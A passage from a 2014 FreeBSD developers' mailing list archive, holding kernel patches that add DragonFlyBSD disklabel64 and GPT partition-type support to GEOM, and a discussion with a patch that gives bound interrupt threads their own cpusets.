invalid_label; + if (le64toh(dlp->d_total_size) > pp->mediasize) + goto invalid_label; + v64 = le64toh(dlp->d_pbase); + if (v64 % pp->sectorsize) + goto invalid_label; + basetable->gpt_first = v64 / pp->sectorsize; + v64 = le64toh(dlp->d_pstop); + if (v64 % pp->sectorsize) + goto invalid_label; + basetable->gpt_last = v64 / pp->sectorsize; + basetable->gpt_isleaf = 1; + v64 = le64toh(dlp->d_bbase); + if (v64 % pp->sectorsize) + goto invalid_label; + table->d_bbase = v64 / pp->sectorsize; + v64 = le64toh(dlp->d_abase); + if (v64 % pp->sectorsize) + goto invalid_label; + table->d_abase = v64 / pp->sectorsize; + le_uuid_dec(&dlp->d_stor_uuid, &table->d_stor_uuid); + for (index = basetable->gpt_entries - 1; index >= 0; index--) { + if (index == RAW_PART) { + /* Skip 'c' partition. */ + baseentry = g_part_new_entry(basetable, + index + 1, 0, 0); + baseentry->gpe_internal = 1; + continue; + } + v64 = le64toh(dlp->d_partitions[index].p_boffset); + sz = le64toh(dlp->d_partitions[index].p_bsize); + if (sz == 0 && v64 == 0) + continue; + if (sz == 0 || (v64 % pp->sectorsize) || (sz % pp->sectorsize)) + goto invalid_label; + baseentry = g_part_new_entry(basetable, index + 1, + v64 / pp->sectorsize, (v64 + sz) / pp->sectorsize - 1); + entry = (struct g_part_bsd64_entry *)baseentry; + le_uuid_dec(&dlp->d_partitions[index].p_type_uuid, + &entry->type_uuid); + le_uuid_dec(&dlp->d_partitions[index].p_stor_uuid, + &entry->stor_uuid); + entry->fstype = dlp->d_partitions[index].p_fstype; + if (index == RAW_PART) + baseentry->gpe_internal = 1; + } + bcopy(dlp->d_reserved0, table->d_reserved0, + sizeof(table->d_reserved0)); + bcopy(dlp->d_packname, table->d_packname, sizeof(table->d_packname)); + bcopy(dlp->d_reserved, table->d_reserved, sizeof(table->d_reserved)); + g_free(buf); + return (0); + +invalid_label: + g_free(buf); + return (EINVAL); +} + +static const char * +g_part_bsd64_type(struct g_part_table *basetable, struct g_part_entry *baseentry, + char *buf, size_t bufsz) +{ + struct g_part_bsd64_entry *entry; + struct bsd64_uuid_alias *uap; + + entry = (struct g_part_bsd64_entry *)baseentry; + if (entry->fstype != FS_OTHER) { + for (uap = &dfbsd_alias_match[0]; uap->uuid != NULL; uap++) + if (uap->fstype == entry->fstype) + return (g_part_alias_name(uap->alias)); + } else { + for (uap = &fbsd_alias_match[0]; uap->uuid != NULL; uap++) + if (EQUUID(uap->uuid, &entry->type_uuid)) + return (g_part_alias_name(uap->alias)); + for (uap = &dfbsd_alias_match[0]; uap->uuid != NULL; uap++) + if (EQUUID(uap->uuid, &entry->type_uuid)) + return (g_part_alias_name(uap->alias)); + } + if (EQUUID(&bsd64_uuid_unused, &entry->type_uuid)) + snprintf(buf, bufsz, "!%d", entry->fstype); + else { + buf[0] = '!'; + snprintf_uuid(buf + 1, bufsz - 1, &entry->type_uuid); + } + return (buf); +} + +static int +g_part_bsd64_write(struct g_part_table *basetable, struct g_consumer *cp) +{ + struct g_provider *pp; + struct g_part_entry *baseentry; + struct g_part_bsd64_entry *entry; + struct g_part_bsd64_table *table; + struct disklabel64 *dlp; + uint32_t v, sz; + int error, index; + + pp = cp->provider; + table = (struct g_part_bsd64_table *)basetable; + sz = (pp->sectorsize + + sizeof(struct disklabel64) - 1) & ~(pp->sectorsize - 1); + dlp = g_malloc(sz, M_WAITOK | M_ZERO); + + memcpy(dlp->d_reserved0, table->d_reserved0, + sizeof(table->d_reserved0)); + memcpy(dlp->d_packname, table->d_packname, sizeof(table->d_packname)); + memcpy(dlp->d_reserved, table->d_reserved, sizeof(table->d_reserved)); + le32enc(&dlp->d_magic, DISKMAGIC64); + le32enc(&dlp->d_align, table->d_align); + le32enc(&dlp->d_npartitions, basetable->gpt_entries); + le_uuid_enc(&dlp->d_stor_uuid, &table->d_stor_uuid); + le64enc(&dlp->d_total_size, pp->mediasize); + le64enc(&dlp->d_bbase, table->d_bbase * pp->sectorsize); + le64enc(&dlp->d_pbase, basetable->gpt_first * pp->sectorsize); + le64enc(&dlp->d_pstop, basetable->gpt_last * pp->sectorsize); + le64enc(&dlp->d_abase, table->d_abase * pp->sectorsize); + + LIST_FOREACH(baseentry, &basetable->gpt_entry, gpe_entry) { + if (baseentry->gpe_deleted) + continue; + index = baseentry->gpe_index - 1; + entry = (struct g_part_bsd64_entry *)baseentry; + if (index == RAW_PART) + continue; + le64enc(&dlp->d_partitions[index].p_boffset, + baseentry->gpe_start * pp->sectorsize); + le64enc(&dlp->d_partitions[index].p_bsize, pp->sectorsize * + (baseentry->gpe_end - baseentry->gpe_start + 1)); + dlp->d_partitions[index].p_fstype = entry->fstype; + le_uuid_enc(&dlp->d_partitions[index].p_type_uuid, + &entry->type_uuid); + le_uuid_enc(&dlp->d_partitions[index].p_stor_uuid, + &entry->stor_uuid); + } + /* Calculate checksum. */ + v = offsetof(struct disklabel64, + d_partitions[basetable->gpt_entries]) - + offsetof(struct disklabel64, d_magic); + le32enc(&dlp->d_crc, crc32(&dlp->d_magic, v)); + error = g_write_data(cp, 0, dlp, sz); + g_free(dlp); + return (error); +} Property changes on: head/sys/geom/part/g_part_bsd64.c ___________________________________________________________________ Added: svn:eol-style ## -0,0 +1 ## +native \ No newline at end of property Added: svn:mime-type ## -0,0 +1 ## +text/plain \ No newline at end of property Added: svn:keywords ## -0,0 +1 ## +FreeBSD=%H \ No newline at end of property Index: head/sys/conf/NOTES =================================================================== --- head/sys/conf/NOTES (revision 267040) +++ head/sys/conf/NOTES (working copy) @@ -162,6 +162,7 @@ options GEOM_MULTIPATH # Disk multipath options GEOM_NOP # Test class. options GEOM_PART_APM # Apple partitioning options GEOM_PART_BSD # BSD disklabel +options GEOM_PART_BSD64 # BSD disklabel64 options GEOM_PART_EBR # Extended Boot Records options GEOM_PART_EBR_COMPAT # Backward compatible partition names options GEOM_PART_GPT # GPT partitioning Index: head/sys/conf/files =================================================================== --- head/sys/conf/files (revision 267040) +++ head/sys/conf/files (working copy) @@ -2756,6 +2756,7 @@ geom/part/g_part.c standard geom/part/g_part_if.m standard geom/part/g_part_apm.c optional geom_part_apm geom/part/g_part_bsd.c optional geom_part_bsd +geom/part/g_part_bsd64.c optional geom_part_bsd64 geom/part/g_part_ebr.c optional geom_part_ebr geom/part/g_part_gpt.c optional geom_part_gpt geom/part/g_part_ldm.c optional geom_part_ldm Index: head/sys/conf/options =================================================================== --- head/sys/conf/options (revision 267040) +++ head/sys/conf/options (working copy) @@ -111,6 +111,7 @@ GEOM_MULTIPATH opt_geom.h GEOM_NOP opt_geom.h GEOM_PART_APM opt_geom.h GEOM_PART_BSD opt_geom.h +GEOM_PART_BSD64 opt_geom.h GEOM_PART_EBR opt_geom.h GEOM_PART_EBR_COMPAT opt_geom.h GEOM_PART_GPT opt_geom.h Index: head/sys/modules/geom/geom_part/Makefile =================================================================== --- head/sys/modules/geom/geom_part/Makefile (revision 267040) +++ head/sys/modules/geom/geom_part/Makefile (working copy) @@ -2,6 +2,7 @@ SUBDIR= geom_part_apm \ geom_part_bsd \ + geom_part_bsd64 \ geom_part_ebr \ geom_part_gpt \ geom_part_ldm \ Index: head/sys/modules/geom/geom_part/geom_part_bsd64/Makefile =================================================================== --- head/sys/modules/geom/geom_part/geom_part_bsd64/Makefile (revision 0) +++ head/sys/modules/geom/geom_part/geom_part_bsd64/Makefile (working copy) @@ -0,0 +1,12 @@ +# $FreeBSD$ + +.PATH: ${.CURDIR}/../../../../geom/part + +KMOD= geom_part_bsd64 +SRCS= g_part_bsd64.c + +SRCS+= bus_if.h device_if.h g_part_if.h + +MFILES= kern/bus_if.m kern/device_if.m geom/part/g_part_if.m + +.include Property changes on: head/sys/modules/geom/geom_part/geom_part_bsd64/Makefile ___________________________________________________________________ Added: svn:mime-type ## -0,0 +1 ## +text/plain \ No newline at end of property Added: svn:keywords ## -0,0 +1 ## +FreeBSD=%H \ No newline at end of property Added: svn:eol-style ## -0,0 +1 ## +native \ No newline at end of property Index: head/sbin/geom/class/part/gpart.8 =================================================================== --- head/sbin/geom/class/part/gpart.8 (revision 267040) +++ head/sbin/geom/class/part/gpart.8 (working copy) @@ -491,6 +491,12 @@ called Requires the .Cm GEOM_PART_BSD kernel option. +.It Cm BSD64 +64-bit implementation of BSD disklabel used in DragonFlyBSD to subdivide MBR +or GPT partitions. +Requires the +.Cm GEOM_PART_BSD64 +kernel option. .It Cm LDM The Logical Disk Manager is an implementation of volume manager for Microsoft Windows NT. --------------040101090305050600040806 Content-Type: text/plain; charset=UTF-8; name="dfbsd-types.diff.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="dfbsd-types.diff.txt" Index: head/sys/sys/disklabel.h =================================================================== --- head/sys/sys/disklabel.h (revision 267040) +++ head/sys/sys/disklabel.h (working copy) @@ -229,6 +229,8 @@ static const char *dktypenames[] = { #define FS_NTFS 18 /* Windows/NT file system */ #define FS_CCD 20 /* concatenated disk component */ #define FS_JFS2 21 /* IBM JFS2 */ +#define FS_HAMMER 22 /* DragonFlyBSD Hammer FS */ +#define FS_HAMMER2 23 /* DragonFlyBSD Hammer2 FS */ #define FS_UDF 24 /* UDF */ #define FS_EFS 26 /* SGI's Extent File system */ #define FS_ZFS 27 /* Sun's ZFS */ @@ -258,8 +260,8 @@ static const char *fstypenames[] = { "?", "ccd", "jfs", - "?", - "?", + "HAMMER", + "HAMMER2", "UDF", "?", "EFS", Index: head/sys/sys/gpt.h =================================================================== --- head/sys/sys/gpt.h (revision 267040) +++ head/sys/sys/gpt.h (working copy) @@ -161,6 +161,25 @@ struct gpt_ent { #define GPT_ENT_TYPE_NETBSD_CGD \ {0x2db519ec,0xb10f,0x11dc,0xb9,0x9b,{0x00,0x19,0xd1,0x87,0x96,0x48}} +#define GPT_ENT_TYPE_DRAGONFLY_LABEL32 \ + {0x9d087404,0x1ca5,0x11dc,0x88,0x17,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_SWAP \ + {0x9d58fdbd,0x1ca5,0x11dc,0x88,0x17,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_UFS1 \ + {0x9d94ce7c,0x1ca5,0x11dc,0x88,0x17,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_VINUM \ + {0x9dd4478f,0x1ca5,0x11dc,0x88,0x17,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_CCD \ + {0xdbd5211b,0x1ca5,0x11dc,0x88,0x17,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_LABEL64 \ + {0x3d48ce54,0x1d16,0x11dc,0x86,0x96,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_LEGACY \ + {0xbd215ab2,0x1d16,0x11dc,0x86,0x96,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_HAMMER \ + {0x61dc63ac,0x6e38,0x11dc,0x85,0x13,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} +#define GPT_ENT_TYPE_DRAGONFLY_HAMMER2 \ + {0x5cbb9ad1,0x862d,0x11dc,0xa9,0x4d,{0x01,0x30,0x1b,0xb8,0xa9,0xf5}} + /* * Boot partition used by GRUB 2. */ Index: head/sys/geom/part/g_part.c =================================================================== --- head/sys/geom/part/g_part.c (revision 267040) +++ head/sys/geom/part/g_part.c (working copy) @@ -108,6 +108,15 @@ struct g_part_alias_list { { "vmware-vmkdiag", G_PART_ALIAS_VMKDIAG }, { "vmware-reserved", G_PART_ALIAS_VMRESERVED }, { "vmware-vsanhdr", G_PART_ALIAS_VMVSANHDR }, + { "dragonfly-label32", G_PART_ALIAS_DFBSD }, + { "dragonfly-label64", G_PART_ALIAS_DFBSD64 }, + { "dragonfly-swap", G_PART_ALIAS_DFBSD_SWAP }, + { "dragonfly-ufs", G_PART_ALIAS_DFBSD_UFS }, + { "dragonfly-vinum", G_PART_ALIAS_DFBSD_VINUM }, + { "dragonfly-ccd", G_PART_ALIAS_DFBSD_CCD }, + { "dragonfly-legacy", G_PART_ALIAS_DFBSD_LEGACY }, + { "dragonfly-hammer", G_PART_ALIAS_DFBSD_HAMMER }, + { "dragonfly-hammer2", G_PART_ALIAS_DFBSD_HAMMER2 }, }; SYSCTL_DECL(_kern_geom); Index: head/sys/geom/part/g_part.h =================================================================== --- head/sys/geom/part/g_part.h (revision 267040) +++ head/sys/geom/part/g_part.h (working copy) @@ -75,6 +75,15 @@ enum g_part_alias { G_PART_ALIAS_VMKDIAG, /* A VMware vmkDiagnostic partition entry */ G_PART_ALIAS_VMRESERVED, /* A VMware reserved partition entry */ G_PART_ALIAS_VMVSANHDR, /* A VMware vSAN header partition entry */ + G_PART_ALIAS_DFBSD, /* A DfBSD label32 partition entry */ + G_PART_ALIAS_DFBSD64, /* A DfBSD label64 partition entry */ + G_PART_ALIAS_DFBSD_SWAP, /* A DfBSD swap partition entry */ + G_PART_ALIAS_DFBSD_UFS, /* A DfBSD UFS partition entry */ + G_PART_ALIAS_DFBSD_VINUM, /* A DfBSD Vinum partition entry */ + G_PART_ALIAS_DFBSD_CCD, /* A DfBSD CCD partition entry */ + G_PART_ALIAS_DFBSD_LEGACY, /* A DfBSD legacy partition entry */ + G_PART_ALIAS_DFBSD_HAMMER, /* A DfBSD HAMMER FS partition entry */ + G_PART_ALIAS_DFBSD_HAMMER2, /* A DfBSD HAMMER2 FS partition entry */ /* Keep the following last */ G_PART_ALIAS_COUNT }; Index: head/sys/geom/part/g_part_bsd.c =================================================================== --- head/sys/geom/part/g_part_bsd.c (revision 267040) +++ head/sys/geom/part/g_part_bsd.c (working copy) @@ -112,6 +112,19 @@ static struct g_part_scheme g_part_bsd_scheme = { }; G_PART_SCHEME_DECLARE(g_part_bsd); +static struct g_part_bsd_alias { + uint8_t type; + int alias; +} bsd_alias_match[] = { + { FS_BSDFFS, G_PART_ALIAS_FREEBSD_UFS }, + { FS_SWAP, G_PART_ALIAS_FREEBSD_SWAP }, + { FS_ZFS, G_PART_ALIAS_FREEBSD_ZFS }, + { FS_VINUM, G_PART_ALIAS_FREEBSD_VINUM }, + { FS_NANDFS, G_PART_ALIAS_FREEBSD_NANDFS }, + { FS_HAMMER, G_PART_ALIAS_DFBSD_HAMMER }, + { FS_HAMMER2, G_PART_ALIAS_DFBSD_HAMMER2 }, +}; + static int bsd_parse_type(const char *type, uint8_t *fstype) { @@ -118,6 +131,7 @@ bsd_parse_type(const char *type, uint8_t *fstype) const char *alias; char *endp; long lt; + int i; if (type[0] == '!') { lt = strtol(type + 1, &endp, 0); @@ -126,31 +140,14 @@ bsd_parse_type(const char *type, uint8_t *fstype) *fstype = (u_int)lt; return (0); } - alias = g_part_alias_name(G_PART_ALIAS_FREEBSD_NANDFS); - if (!strcasecmp(type, alias)) { - *fstype = FS_NANDFS; - return (0); + for (i = 0; + i < sizeof(bsd_alias_match) / sizeof(bsd_alias_match[0]); i++) { + alias = g_part_alias_name(bsd_alias_match[i].alias); + if (strcasecmp(type, alias) == 0) { + *fstype = bsd_alias_match[i].type; + return (0); + } } - alias = g_part_alias_name(G_PART_ALIAS_FREEBSD_SWAP); - if (!strcasecmp(type, alias)) { - *fstype = FS_SWAP; - return (0); - } - alias = g_part_alias_name(G_PART_ALIAS_FREEBSD_UFS); - if (!strcasecmp(type, alias)) { - *fstype = FS_BSDFFS; - return (0); - } - alias = g_part_alias_name(G_PART_ALIAS_FREEBSD_VINUM); - if (!strcasecmp(type, alias)) { - *fstype = FS_VINUM; - return (0); - } - alias = g_part_alias_name(G_PART_ALIAS_FREEBSD_ZFS); - if (!strcasecmp(type, alias)) { - *fstype = FS_ZFS; - return (0); - } return (EINVAL); } Index: head/sys/geom/part/g_part_gpt.c =================================================================== --- head/sys/geom/part/g_part_gpt.c (revision 267040) +++ head/sys/geom/part/g_part_gpt.c (working copy) @@ -181,6 +181,15 @@ static struct uuid gpt_uuid_netbsd_raid = GPT_ENT_ static struct uuid gpt_uuid_netbsd_swap = GPT_ENT_TYPE_NETBSD_SWAP; static struct uuid gpt_uuid_mbr = GPT_ENT_TYPE_MBR; static struct uuid gpt_uuid_unused = GPT_ENT_TYPE_UNUSED; +static struct uuid gpt_uuid_dfbsd_swap = GPT_ENT_TYPE_DRAGONFLY_SWAP; +static struct uuid gpt_uuid_dfbsd_ufs1 = GPT_ENT_TYPE_DRAGONFLY_UFS1; +static struct uuid gpt_uuid_dfbsd_vinum = GPT_ENT_TYPE_DRAGONFLY_VINUM; +static struct uuid gpt_uuid_dfbsd_ccd = GPT_ENT_TYPE_DRAGONFLY_CCD; +static struct uuid gpt_uuid_dfbsd_legacy = GPT_ENT_TYPE_DRAGONFLY_LEGACY; +static struct uuid gpt_uuid_dfbsd_hammer = GPT_ENT_TYPE_DRAGONFLY_HAMMER; +static struct uuid gpt_uuid_dfbsd_hammer2 = GPT_ENT_TYPE_DRAGONFLY_HAMMER2; +static struct uuid gpt_uuid_dfbsd_label32 = GPT_ENT_TYPE_DRAGONFLY_LABEL32; +static struct uuid gpt_uuid_dfbsd_label64 = GPT_ENT_TYPE_DRAGONFLY_LABEL64; static struct g_part_uuid_alias { struct uuid *uuid; @@ -222,6 +231,15 @@ static struct g_part_uuid_alias { { &gpt_uuid_netbsd_lfs, G_PART_ALIAS_NETBSD_LFS, 0 }, { &gpt_uuid_netbsd_raid, G_PART_ALIAS_NETBSD_RAID, 0 }, { &gpt_uuid_netbsd_swap, G_PART_ALIAS_NETBSD_SWAP, 0 }, + { &gpt_uuid_dfbsd_swap, G_PART_ALIAS_DFBSD_SWAP, 0 }, + { &gpt_uuid_dfbsd_ufs1, G_PART_ALIAS_DFBSD_UFS, 0 }, + { &gpt_uuid_dfbsd_vinum, G_PART_ALIAS_DFBSD_VINUM, 0 }, + { &gpt_uuid_dfbsd_ccd, G_PART_ALIAS_DFBSD_CCD, 0 }, + { &gpt_uuid_dfbsd_legacy, G_PART_ALIAS_DFBSD_LEGACY, 0 }, + { &gpt_uuid_dfbsd_hammer, G_PART_ALIAS_DFBSD_HAMMER, 0 }, + { &gpt_uuid_dfbsd_hammer2, G_PART_ALIAS_DFBSD_HAMMER2, 0 }, + { &gpt_uuid_dfbsd_label32, G_PART_ALIAS_DFBSD, 0xa5 }, + { &gpt_uuid_dfbsd_label64, G_PART_ALIAS_DFBSD64, 0xa5 }, { NULL, 0, 0 } }; --------------040101090305050600040806-- From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 6 22:12:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CB94FF3B; Fri, 6 Jun 2014 22:12:07 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 631A4254A; Fri, 6 Jun 2014 22:12:07 +0000 (UTC) Received: from secured.by.ipfw.ru ([95.143.220.47] helo=ws.su29.net) by mail.ipfw.ru with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128) (Exim 4.82 (FreeBSD)) (envelope-from ) id 1WsyRq-0003kD-Te; Fri, 06 Jun 2014 22:01:02 +0400 Message-ID: <53923C09.6020302@FreeBSD.org> Date: Sat, 07 Jun 2014 02:09:13 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <201406051009.59432.jhb@freebsd.org> <5390C907.1070405@FreeBSD.org> <201406051559.11274.jhb@freebsd.org> <5390DB64.6010704@FreeBSD.org> In-Reply-To: <5390DB64.6010704@FreeBSD.org> X-Enigmail-Version: 1.6 Content-Type: multipart/mixed; boundary="------------000900090005030503080000" Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jun 2014 22:12:07 -0000 This is a multi-part message in MIME format. --------------000900090005030503080000 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit On 06.06.2014 01:04, Alexander V. Chernikov wrote: > On 05.06.2014 23:59, John Baldwin wrote: >> On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: >>> On 05.06.2014 18:09, John Baldwin wrote: >>>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: >>>>> On 04.06.2014 19:06, John Baldwin wrote: >>>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>>>>>>> Hello list! >>>>>>>> >>>>>>>> Currently init(8) uses group 1 which is root group. >>>>>>>> Modifications of this group affects both kernel and userland threads. >>>>>>>> Additionally, such modifications are impossible, for example, in >>>> presence >>>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their >> threads >>>>>> to >>>>>>>> particular cpus. >>>>>>>> >>>>>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>>>>>>> masks for >>>>>>>> userland more easily. Restricting user processes to migrate to/from >> CPU >>>>>>>> cores >>>>>>>> used for network traffic processing is one of the cases. >>>>>>>> >>>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version >> attached >>>>>>>> inline) >>>>>>>> >>>>>>>> If there are no objections, I'll commit this next week. >>>>>>> Why is the tunable needed ? >>>>>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is >>>> also >>>>>> documented in our manpages that processes start in cpuset 1 by default >> so >>>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>>>>> >>>>>> For the stated problem (bound ithreads in drivers), I would actually >> like >>>> to >>>>>> fix ithreads that are bound to a specific CPU to create a different >> cpuset >>>>>> instead so they don't conflict with set 1. >>>>> Yes, this seem to be much better approach. >>>>> Please take a look on the new patch (here or in the phabricator). >>>>> Comments: >>>>> >>>>> Use different approach for modifyable root set: >>>>> >>>>> * Make sets in 0..15 internal >>>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >>>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >>>>> * Create additional root set for ithreads >>>>> * Use this set in ithread_create() >>>>> * Change intr_setaffinity() to use cpuset_iroot (do we really need >> this)? >>>>> >>>>> We can probably do the same for kprocs, but I'm unsure if we really need >> it. >>>> >>>> I imagined something a bit simpler. Just create a new set in >> intr_event_bind >>>> and bind the ithread to the new set. No need to have more magic set ids, >> etc. >>> Well, we also have userland which can modify given changes via `cpuset >>> -x', so we need to be able to add some more logic on set >>> allocation/keeping. Additionally, we can try to do the same via `cpuset >>> -t', so introducing something like cpuset_setIthread() and hooking into >>> intr_event_bind() won't probably be enough. At least I can't think out a >>> quick and easy way to do this. >> >> cpuset -x calls intr_event_bind(). If you just do it there you fix both >> places. Yup. I was wrong. This version seems to be simpler while doing the right thing. > 1:04 [0] ra# procstat -t 12 | grep irq275 > 12 100121 intr irq275: ix0:qu1 2 127 wait - > 1:04 [0] ra# cpuset -g -x 275 > irq 275 mask: 2 > 1:04 [0] ra# cpuset -g -t 100121 > tid 100121 mask: 2 > 1:04 [0] ra# cpuset -l 3 -t 100121 > -------------------------^^^------ > 1:05 [0] ra# cpuset -g -t 100121 > tid 100121 mask: 3 > >> >>>> That also means that an ithread that isn't bound to a specific CPU via >> either >>>> 'cpuset -x' or BUS_BIND_INTR() will honor 'cpuset -s 1' like other >>>> kernel processes. I think that's probably fine and sensible. The issue >> is >>> Well, it is questionable. Kernel threads are a bit different in terms of >>> TLB changes, memory working set and so on. (Personally I'd prefer to >>> separate user / kthreads / ithreads to different sets in HEAD but that's >>> another story). >>> >>> Anyway, we probably can (and should) MFC a bit different version which >>> tries to change several sets at once if user supplied set 1 as argument. >> >> No, I don't think we need umpteen special sets. I think we just need to fix >> this one specific case of bound ithreads and everything else will work fine. >> If someone wants to move kprocs out of set 1, they can already do that with >> the existing tools via cpuset -C, etc. >> > --------------000900090005030503080000 Content-Type: text/x-patch; name="D141_6.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="D141_6.diff" Index: sys/kern/kern_cpuset.c =================================================================== --- sys/kern/kern_cpuset.c +++ sys/kern/kern_cpuset.c @@ -716,6 +716,66 @@ } /* + * Apply new cpumask to the ithread. + */ +int +cpuset_setithread(lwpid_t id, cpuset_t *mask) +{ + struct cpuset *nset, *rset; + struct cpuset *parent, *old_set; + struct thread *td; + struct proc *p; + cpusetid_t cs_id; + int error; + + nset = uma_zalloc(cpuset_zone, M_WAITOK); + rset = uma_zalloc(cpuset_zone, M_WAITOK); + error = cpuset_which(CPU_WHICH_TID, id, &p, &td, &old_set); + if (((cs_id = alloc_unr(cpuset_unr)) == CPUSET_INVALID) || error != 0) + goto out; + thread_lock(td); + old_set = td->td_cpuset; + if (old_set->cs_id == 1 || (old_set->cs_id == CPUSET_INVALID && + old_set->cs_parent->cs_id == 1)) { + /* Default mask, we need to use new root set */ + error = _cpuset_create(rset, cpuset_zero, + &cpuset_zero->cs_mask, cs_id); + if (error != 0) { + PROC_UNLOCK(p); + goto out; + } + rset->cs_flags |= CPU_SET_ROOT; + parent = rset; + rset = NULL; + cs_id = CPUSET_INVALID; + } else { + /* Assume existing set was already allocated by previous call */ + parent = td->td_cpuset; + old_set = NULL; + } + + error = cpuset_shadow(parent, nset, mask); + if (error == 0) { + td->td_cpuset = nset; + sched_affinity(td); + nset = NULL; + } + thread_unlock(td); + PROC_UNLOCK(p); + if (old_set != NULL) + cpuset_rel(old_set); +out: + if (nset != NULL) + uma_zfree(cpuset_zone, nset); + if (rset != NULL) + uma_zfree(cpuset_zone, rset); + if (cs_id != CPUSET_INVALID) + free_unr(cpuset_unr, cs_id); + return (error); +} + + +/* * Creates the cpuset for thread0. We make two sets: * * 0 - The root set which should represent all valid processors in the Index: sys/kern/kern_intr.c =================================================================== --- sys/kern/kern_intr.c +++ sys/kern/kern_intr.c @@ -323,7 +323,7 @@ CPU_SET(cpu, &mask); id = ie->ie_thread->it_thread->td_tid; mtx_unlock(&ie->ie_lock); - error = cpuset_setthread(id, &mask); + error = cpuset_setithread(id, &mask); if (error) return (error); } else @@ -339,7 +339,7 @@ CPU_SET(ie->ie_cpu, &mask); id = ie->ie_thread->it_thread->td_tid; mtx_unlock(&ie->ie_lock); - (void)cpuset_setthread(id, &mask); + (void)cpuset_setithread(id, &mask); } else mtx_unlock(&ie->ie_lock); return (error); Index: sys/sys/cpuset.h =================================================================== --- sys/sys/cpuset.h +++ sys/sys/cpuset.h @@ -118,6 +118,7 @@ struct cpuset *cpuset_ref(struct cpuset *); void cpuset_rel(struct cpuset *); int cpuset_setthread(lwpid_t id, cpuset_t *); +int cpuset_setithread(lwpid_t id, cpuset_t *); int cpuset_create_root(struct prison *, struct cpuset **); int cpuset_setproc_update_set(struct proc *, struct cpuset *); char *cpusetobj_strprint(char *, const cpuset_t *); --------------000900090005030503080000-- From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 6 23:00:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41B5B309 for ; Fri, 6 Jun 2014 23:00:16 +0000 (UTC) Received: from mail-qa0-x22e.google.com (mail-qa0-x22e.google.com [IPv6:2607:f8b0:400d:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 05B1129A2 for ; Fri, 6 Jun 2014 23:00:15 +0000 (UTC) Received: by mail-qa0-f46.google.com with SMTP id w8so4938812qac.33 for ; Fri, 06 Jun 2014 16:00:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=2AewTrMxR4Cy6qPmxEaxPWvw2A/Jp773VGhLd3QMVu4=; b=k5zjOKhCQYGPu1hLr14FhOZTSJD6b6gEWojyWDwOVwTvVfkJu8VNIT7LkBZIzo22kO R+UrzP2IXoG0+WqmXraXjaac9nOZxNSMN5pRSyp+g5/dGYzszlgFBZlBs2kuA/x6RFkS 5/xYDv/TZSMqrwSpZzWMspobteHyOorCKMyYaWrqmuqRzj8B5gZ9JBiI6crch1OfN2PA ZSy3Er+bP8pvT8IoLJENLPTJn1KQQGRc0u1iQAwZhQ3QOazkWglOTFA4ImUXx94I2KVz PNPhM6tkd8MSELlnj5zwUKpozEk+6Plpa34cPSEQw6ncVAsmVTrwHyeyBRkpuJD4rQ/Y EFKQ== MIME-Version: 1.0 X-Received: by 10.224.47.148 with SMTP id n20mr13573415qaf.90.1402095614399; Fri, 06 Jun 2014 16:00:14 -0700 (PDT) Received: by 10.170.115.66 with 